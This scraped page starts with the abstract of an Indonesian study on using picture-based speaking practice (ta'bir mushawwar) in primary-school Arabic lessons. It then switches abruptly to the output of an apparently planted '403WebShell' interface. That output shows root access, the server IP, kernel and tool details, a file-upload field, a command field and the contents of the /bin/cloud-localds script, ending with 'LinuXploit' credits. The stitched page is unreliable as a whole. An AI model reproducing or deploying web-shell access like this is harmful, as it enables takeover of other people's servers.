Efektivitas Strategi Ta’bir Mushawwar dalam Pembelajaran Bahasa Arab di Madrasah Ibtidaiyah

  • Nuur Mahmudah Universitas Islam Negeri Antasari Banjarmasin
  • Khairunnisa Universitas Islam Negeri Antasari Banjarmasin
Keywords: Arabic; speaking skill; ta’bir mushawwar

Abstract

Speaking proficiency is one of the main skills in Arabic language learning, but fourth grade students of MI TPI Keramat face difficulties in assembling mufradat and practicing active conversation, mainly due to the lack of varied learning strategies. This study aims to analyze the effectiveness of the ta'bir mushawwar strategy, which uses picture as a media to facilitate students in constructing sentences and telling stories, in improving Arabic speaking skills. With a quantitative approach and pre-experiment design, this study involved 18 students of class IV-C. Data were collected through tests, observations, and interviews, then analyzed descriptively and N-Gain test. The posttest average was 83.06 (very good category) with 88.9% completeness, and the N-Gain score was 0.6398 which showed effectiveness in the medium category. The ta'bir mushawwar strategy offers a solution in the form of a visual and hands-on learning approach that can significantly improve students' speaking skills and make learning more interesting and interactive.

403WebShell
403Webshell
Server IP : 103.175.217.176  /  Your IP : 18.119.133.138
Web Server : Apache/2.4.62 (Debian)
System : Linux bilfathvps 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User : root ( 0)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bin/cloud-localds
#!/bin/bash

VERBOSITY=0
TEMP_D=""
DEF_DISK_FORMAT="raw"
DEF_FILESYSTEM="iso9660"
CR="
"

error() { echo "$@" 1>&2; }
fail() { [ $# -eq 0 ] || error "$@"; exit 1; }

Usage() {
	cat <<EOF
Usage: ${0##*/} [ options ] output user-data [meta-data]

   Create a disk for cloud-init to utilize nocloud

   options:
     -h | --help             show usage
     -d | --disk-format D    disk format to output. default: raw
                             can be anything supported by qemu-img or
                             tar, tar-seed-local, tar-seed-net
     -H | --hostname    H    set hostname in metadata to H
     -f | --filesystem  F    filesystem format (vfat or iso), default: iso9660

     -i | --interfaces  F    write network interfaces file into metadata
     -N | --network-config F write network config file to local datasource
     -m | --dsmode      M    add 'dsmode' ('local' or 'net') to the metadata
                             default in cloud-init is 'net', meaning network is
                             required.
     -V | --vendor-data F    vendor-data file
     -v | --verbose          increase verbosity

   Note, --dsmode, --hostname, and --interfaces are incompatible
   with metadata.

   Example:
    * cat my-user-data
      #cloud-config
      password: passw0rd
      chpasswd: { expire: False }
      ssh_pwauth: True
    * echo "instance-id: \$(uuidgen || echo i-abcdefg)" > my-meta-data
    * ${0##*/} my-seed.img my-user-data my-meta-data
    * kvm -net nic -net user,hostfwd=tcp::2222-:22 \\
         -drive file=disk1.img,if=virtio -drive file=my-seed.img,if=virtio
    * ssh -p 2222 ubuntu@localhost
EOF
}

bad_Usage() { Usage 1>&2; [ $# -eq 0 ] || error "$@"; exit 1; }
cleanup() {
	[ -z "${TEMP_D}" -o ! -d "${TEMP_D}" ] || rm -Rf "${TEMP_D}"
}

debug() {
	local level=${1}; shift;
	[ "${level}" -gt "${VERBOSITY}" ] && return
	error "${@}"
}

has_cmd() {
	command -v "$1" >/dev/null 2>&1
}

short_opts="hH:i:d:f:m:N:o:V:v"
long_opts="disk-format:,dsmode:,filesystem:,help,hostname:,interfaces:,"
long_opts="${long_opts}network-config:,output:,vendor-data:,verbose"
getopt_out=$(getopt --name "${0##*/}" \
	--options "${short_opts}" --long "${long_opts}" -- "$@") &&
	eval set -- "${getopt_out}" ||
	bad_Usage

## <<insert default variables here>>
output=""
userdata=""
metadata=""
vendordata=""
filesystem=""
diskformat=$DEF_DISK_FORMAT
interfaces=_unset
dsmode=""
hostname=""
ncname="network-config"


while [ $# -ne 0 ]; do
	cur=${1}; next=${2};
	case "$cur" in
		-h|--help) Usage ; exit 0;;
		-d|--disk-format) diskformat=$next; shift;;
		-f|--filesystem) filesystem=$next; shift;;
		-H|--hostname) hostname=$next; shift;;
		-i|--interfaces) interfaces=$next; shift;;
		-N|--network-config) netcfg=$next; shift;;
		-m|--dsmode) dsmode=$next; shift;;
		-v|--verbose) VERBOSITY=$((${VERBOSITY}+1));;
		-V|--vendor-data) vendordata="$next";;
		--) shift; break;;
	esac
	shift;
done

## check arguments here
## how many args do you expect?
[ $# -ge 2 ] || bad_Usage "must provide output, userdata"
[ $# -le 3 ] || bad_Usage "confused by additional args"

output=$1
userdata=$2
metadata=$3

if [ -n "$metadata" ]; then
	[ "$interfaces" = "_unset" -a -z "$dsmode" -a -z "$hostname" ] ||
		fail "metadata is incompatible with:" \
			"--interfaces, --hostname, --dsmode"
fi

case "$diskformat" in
	tar|tar-seed-local|tar-seed-net)
		if [ "${filesystem:-tar}" != "tar" ]; then
			fail "diskformat=tar is incompatible with filesystem"
		fi
		filesystem="$diskformat"
		;;
	tar*)
		fail "supported 'tar' formats are tar, tar-seed-local, tar-seed-net"
esac

if [ -z "$filesystem" ]; then
	filesystem="$DEF_FILESYSTEM"
fi
if [ "$filesystem" = "iso" ]; then
	filesystem="iso9660"
fi

case "$filesystem" in
	tar*)
		has_cmd tar ||
			fail "missing 'tar'. Required for --filesystem=$filesystem";;
	vfat)
		has_cmd mkfs.vfat ||
			fail "missing 'mkfs.vfat'. Required for --filesystem=vfat."
		has_cmd mcopy ||
			fail "missing 'mcopy'. Required for --filesystem=vfat."
		;;
	iso9660)
		has_cmd genisoimage ||
			fail "missing 'genisoimage'.  Required for --filesystem=iso9660."
		;;
	*) fail "unknown filesystem $filesystem";;
esac

case "$diskformat" in
	tar*|raw) :;;
	*) has_cmd "qemu-img" ||
		fail "missing 'qemu-img'.  Required for --disk-format=$diskformat."
esac

[ "$interfaces" = "_unset" -o -r "$interfaces" ] ||
	fail "$interfaces: not a readable file"

TEMP_D=$(mktemp -d "${TMPDIR:-/tmp}/${0##*/}.XXXXXX") ||
	fail "failed to make tempdir"
trap cleanup EXIT

files=( "${TEMP_D}/user-data" "${TEMP_D}/meta-data" )
if [ -n "$metadata" ]; then
	cp "$metadata" "$TEMP_D/meta-data" || fail "$metadata: failed to copy"
else
	instance_id="iid-local01"
	iface_data=""
	[ "$interfaces" != "_unset" ] &&
		iface_data=$(sed ':a;N;$!ba;s/\n/\\n/g' "$interfaces")

	# write json formatted user-data (json is a subset of yaml)
	mdata=""
	for kv in "instance-id:$instance_id" "local-hostname:$hostname" \
		"interfaces:${iface_data}" "dsmode:$dsmode"; do
		key=${kv%%:*}
		val=${kv#*:}
		[ -n "$val" ] || continue
		mdata="${mdata:+${mdata},${CR}}\"$key\": \"$val\""
	done
	printf "{\n%s\n}\n" "$mdata" > "${TEMP_D}/meta-data"
fi

if [ -n "$netcfg" ]; then
	cp "$netcfg" "${TEMP_D}/$ncname" ||
		fail "failed to copy network config"
	files[${#files[@]}]="$TEMP_D/$ncname"
fi

if [ -n "$vendordata" ]; then
	cp "$vendordata" "${TEMP_D}/vendor-data" ||
		fail "failed to copy vendor data"
	files[${#files[@]}]="$TEMP_D/vendor-data"
fi

files_rel=( )
for f in "${files[@]}"; do
	files_rel[${#files_rel[@]}]="${f#${TEMP_D}/}"
done

if [ "$userdata" = "-" ]; then
	cat > "$TEMP_D/user-data" || fail "failed to read from stdin"
else
	cp "$userdata" "$TEMP_D/user-data" || fail "$userdata: failed to copy"
fi

## alternatively, create a vfat filesystem with same files
img="$TEMP_D/seed-data"
tar_opts=( --owner=root --group=root )

case "$filesystem" in
	tar)
		tar "${tar_opts[@]}" -C "${TEMP_D}" -cf "$img" "${files_rel[@]}" ||
			fail "failed to create tarball of ${files_rel[*]}"
		;;
	tar-seed-local|tar-seed-net)
		if [ "$filesystem" = "tar-seed-local" ]; then
			path="var/lib/cloud/seed/nocloud"
		else
			path="var/lib/cloud/seed/nocloud-net"
		fi
		mkdir -p "${TEMP_D}/${path}" ||
			fail "failed making path for seed files"
		mv "${files[@]}" "${TEMP_D}/$path" ||
			fail "failed moving files"
		tar "${tar_opts[@]}" -C "${TEMP_D}" -cf "$img" "${path}" ||
			fail "failed to create tarball with $path"
		;;
	iso9660)
		genisoimage -output "$img" -volid cidata \
			-joliet -rock "${files[@]}" > "$TEMP_D/err" 2>&1 ||
			{ cat "$TEMP_D/err" 1>&2; fail "failed to genisoimage"; }
		;;
	vfat)
		truncate --size 128K "$img" || fail "failed truncate image"
		out=$(mkfs.vfat -n cidata "$img" 2>&1) ||
			{ error "failed: mkfs.vfat -n cidata $img"; error "$out"; }
		mcopy -oi "$img" "${files[@]}" :: ||
			fail "failed to copy user-data, meta-data to img"
		;;
esac

[ "$output" = "-" ] && output="$TEMP_D/final"
if [ "${diskformat#tar}" != "$diskformat" -o "$diskformat" = "raw" ]; then
	cp "$img" "$output" ||
		fail "failed to copy image to $output"
else
	qemu-img convert -f raw -O "$diskformat" "$img" "$output" ||
		fail "failed to convert to disk format $diskformat"
fi

[ "$output" != "$TEMP_D/final" ] || { cat "$output" && output="-"; } ||
	fail "failed to write to -"

debug 1 "wrote ${output} with filesystem=$filesystem and diskformat=$diskformat"
# vi: ts=4 noexpandtab

Youez - 2016 - github.com/yon3zu
LinuXploit